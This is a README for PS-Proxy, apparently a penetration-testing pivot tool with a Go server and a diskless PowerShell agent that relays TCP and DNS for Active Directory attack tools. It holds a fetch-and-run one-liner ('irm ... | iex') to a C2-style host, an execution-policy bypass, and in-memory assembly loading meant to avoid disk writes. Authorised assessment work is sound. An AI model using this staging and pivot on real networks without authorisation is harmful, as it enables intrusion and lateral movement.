Harrison-Wells-Cyber-PS-Proxy/README.md

PS-Proxy

PS-Proxy is being rebuilt as a professional route-based pivot with a Go Linux server and a single-file PowerShell 5.1 agent. The project goal is reliable operation for TCP-heavy AD tooling such as Impacket, NetExec, RustHound, ldapsearch, and TCP-connect nmap, without proxychains and without requiring administrator privileges on the Windows agent host.

Current implementation status: the repo now has a working encrypted enrollment flow, a framed multiplexed TCP stream protocol, a diskless PowerShell/C# agent packaging flow, and a developer TCP relay for end-to-end protocol testing. The full production TUN/netstack data plane is still the next major milestone.

Design decisions

• Server: Go, intended to run as root on Linux.
• Data plane: Linux transparent TCP redirect mode is implemented now for test-environment use: local tools connect directly to routed target IPs, iptables redirects matching TCP connections to the server, and the server relays the original destination through the enrolled agent. A true TUN/netstack backend remains the long-term production direction.
• Agent: Windows PowerShell 5.1 loader with a precompiled C# core embedded into a single .ps1.
• Agent delivery: one command, one file, no separate DLL transfer: irm https://server/a/<one-time-id> | iex.
• Target-side privileges: no local admin required on the Windows agent host.
• Enrollment: the server creates a short-lived one-time staging URL. The generated agent script contains an enrollment token rather than a long-term PSK.
• Trust anchor: TLS is transport and staging only. The agent pins the stable PS-Proxy application identity public key and establishes an authenticated encrypted tunnel inside TLS before enrollment tokens or tunnel frames are sent.
• Disk behavior: release agents do not use Add-Type, do not invoke csc.exe on the target, and do not intentionally write the managed agent DLL to disk. The embedded DLL is loaded with [System.Reflection.Assembly]::Load(byte[]).

Repository layout

cmd/psproxy-server/          Go server entrypoint
internal/protocol/           framed tunnel protocol helpers and tests
internal/staging/            one-time agent staging/enrollment helpers
agent/PSProxy.Agent/         PowerShell 5.1-compatible C# agent core source
agent/loader/agent.ps1.tmpl  single-file PowerShell loader template
release/agent.ps1            packaged release agent placeholder/artifact
tools/build-agent.ps1        Windows build script for release/agent.ps1
agent.ps1                    source-checkout pointer to release agent workflow

The GitHub repository intentionally contains both source code and a release agent location. Packaged releases should replace release/agent.ps1 with a ready-to-run generated file so an operator can download and run without doing manual packaging.

Build the Go server on Linux

From the repo root:

go test ./...
go build -o psproxy-server ./cmd/psproxy-server

The build produces ./psproxy-server.

Build the single-file PowerShell 5.1 release agent

The first supported target is Windows PowerShell 5.1, so build the release agent on a Windows machine with the .NET Framework compiler available.

Open Windows PowerShell from the repo root and run:

powershell -ExecutionPolicy Bypass -File tools\build-agent.ps1

That script:

1. Compiles agent\PSProxy.Agent\PSProxy.Agent.cs with the .NET Framework C# compiler.
2. Compresses the compiled PSProxy.Agent.dll.
3. Base64-embeds the compressed DLL into agent\loader\agent.ps1.tmpl.
4. Writes the single-file release loader to release\agent.ps1.
5. Writes release\agent_assembly.b64, which the Go server uses by default to render one-time staged agents.

The Windows target still receives only one PowerShell script. The build step is for the release maintainer, not the operator running the agent. Keep release\agent_assembly.b64 next to the server working directory, or pass it explicitly with --agent-assembly-b64-file.

Start the server with transparent TCP routing

Use a real certificate for HTTPS transport/staging. PS-Proxy will create or reuse psproxy_identity.pem as the application-layer trust anchor; keep this file stable across server restarts and redeployments so existing staged agents trust the same server identity. On the Linux server, run as root so PS-Proxy can install and remove iptables NAT rules:

sudo ./psproxy-server \
  --domain c2.example.com \
  --cert /etc/letsencrypt/live/c2.example.com/fullchain.pem \
  --key /etc/letsencrypt/live/c2.example.com/privkey.pem \
  --route 10.10.10.0/24 \
  --redirect \
  --max-streams 256 \
  --dns-listen 127.0.0.1:5353 \
  --dns-target 10.10.10.10:53

With --redirect, PS-Proxy creates an iptables NAT chain for each --route and redirects matching local TCP connects into a loopback listener. The server reads the original destination with SO_ORIGINAL_DST, sends that host:port through the encrypted tunnel, and the Windows agent opens the target with a normal outbound TcpClient from its network position.

The server owns its configured --listen/--port socket while it is running. By default that is 0.0.0.0:443, so another web server or reverse proxy cannot bind port 443 on the same IP at the same time. If you need another service on 443, either bind PS-Proxy to a different address with --listen, run PS-Proxy on a different external port with --port, or put a fronting load balancer/reverse proxy on 443 and forward PS-Proxy traffic to its own backend port.

The server prints a one-time command:

irm https://c2.example.com/a/<one-time-id> | iex

The generated script auto-starts, loads the embedded C# core in memory, verifies the staged PS-Proxy identity public key with an application-layer handshake, sends enrollment inside the encrypted/authenticated tunnel, and then uses that protected tunnel for all framed TCP and DNS relay traffic.

Optional fixed-target developer TCP relay

For controlled protocol testing without iptables redirects, use the fixed-target TCP relay. Example:

sudo ./psproxy-server \
  --domain c2.example.com \
  --cert /etc/letsencrypt/live/c2.example.com/fullchain.pem \
  --key /etc/letsencrypt/live/c2.example.com/privkey.pem \
  --route 10.10.10.0/24 \
  --tcp-listen 127.0.0.1:1389 \
  --tcp-target 10.10.10.219:389

Then run the printed one-liner on the Windows host. After the agent connects, test from the Linux server:

nc -vz 127.0.0.1 1389
ldapsearch -x -H ldap://127.0.0.1:1389 -D 'user@example.local' -W -b 'DC=example,DC=local' '(objectClass=domain)'

Transparent redirect mode is the recommended test-environment workflow right now. The fixed-target relay remains useful when you want a single local port mapped to a single target for debugging. Use --max-streams to cap concurrent proxied TCP connections during high-concurrency tools such as NetExec; the default is 256. When --dns-listen and --dns-target are set together, the server exposes UDP and TCP DNS listeners on the same local address and forwards raw DNS queries through the enrolled agent to the internal DNS server reachable from the agent host.

Security notes

• Use HTTPS staging. Plain HTTP irm | iex is mechanically possible, but it is not acceptable for sensitive environments because staging tampering means code execution on the Windows host.
• TLS is transport only; do not use the HTTPS certificate as the PS-Proxy root of trust.
• The server has a stable RSA identity key (--identity-key, default psproxy_identity.pem). If the file is missing, the server generates a 3072-bit RSA key and logs the SHA-256 pin of the public key DER.
• Keep psproxy_identity.pem stable and private. Rotating it intentionally changes the PS-Proxy trust anchor and requires staging new agents.
• The staged agent embeds the server identity public key, performs an application-layer PSP1 handshake, verifies a server HMAC proof, and only then sends enrollment/reconnect tokens inside encrypted authenticated frames.
• Enrollment URLs are short-lived and one-time use.
• The enrollment token is placed in the HTTPS response body, not in the URL.
• Do not log generated agent bodies or enrollment tokens.
• The loader avoids intentional target-side file writes for the managed payload, but host telemetry, PowerShell logging, AMSI, EDR, crash dumps, or pagefile behavior are outside the loader's control.

TLS inspection / enterprise decryption

PS-Proxy now treats HTTPS/TLS as transport and staging rather than as the tunnel root of trust. Enterprise TLS inspection products such as Palo Alto, Zscaler, or other decrypting proxies may present an enterprise-issued leaf certificate to the agent; this should no longer break agent/server trust because the agent verifies the staged PS-Proxy identity public key inside the TLS connection.

Operational guidance:

• Keep using HTTPS for staging so the one-time loader is not exposed to trivial network tampering.
• Keep psproxy_identity.pem private and stable. It is the PS-Proxy identity, and its public key pin is what identifies the legitimate server to agents.
• Back up psproxy_identity.pem with the same care as other server secrets. If it is lost and regenerated, previously staged agents will not trust the new identity unless they are restaged with the new public key.
• TLS inspection can still observe the outer HTTPS transport metadata, but it cannot read or tamper with protected PSP1 tunnel frames after the application-layer handshake without detection.

Current implementation status

Implemented now:

• Go TLS listener with mixed HTTP staging and raw agent tunnel handling.
• Stable PS-Proxy RSA identity key generation/reuse with a logged public key pin staged into generated agents.
• Short-lived one-time staging URLs.
• Application-layer PSP1 secure handshake before enrollment, followed by encrypted/authenticated frame transport and reconnect-token authentication after first enrollment.
• Agent auto-reconnect with exponential backoff for transient tunnel failures.
• Framed multiplexed stream protocol.
• Linux transparent TCP redirect mode for direct local-tool TCP connections to routed target IPs.
• Fixed-target TCP relay mode for protocol validation.
• Bounded concurrent stream handling with per-stream local write queues so one slow local TCP client cannot block the whole multiplexed agent session.
• Optional UDP DNS relay that forwards raw DNS queries through the agent to an internal DNS server.
• JSON /status endpoint for agent and stream visibility.
• C# agent stream relay that opens normal outbound TcpClient connections from the Windows host.
• PowerShell loader template that loads a compressed/base64 managed assembly from memory.
• Windows build script to package the C# core into release/agent.ps1.

Next milestone:

• Replace the Linux transparent redirect backend with a true production Go TUN/netstack data plane.
• Add route setup/cleanup and doctor checks.
• Add integration tests for LDAP/RustHound-scale long-running TCP streams.

Testing direction

Before this project should be trusted for real assessments, it needs a lab test matrix that includes:

• large bidirectional byte-stream integrity tests;
• many concurrent stream tests;
• long-running LDAP/RustHound collection tests;
• NetExec SMB/LDAP tests;
• Impacket SMB/LDAP/RPC tests;
• reconnect and stale route cleanup tests;
• DNS relay tests against an internal AD DNS server;
• malformed frame and enrollment fuzz tests;
• certificate pin mismatch tests.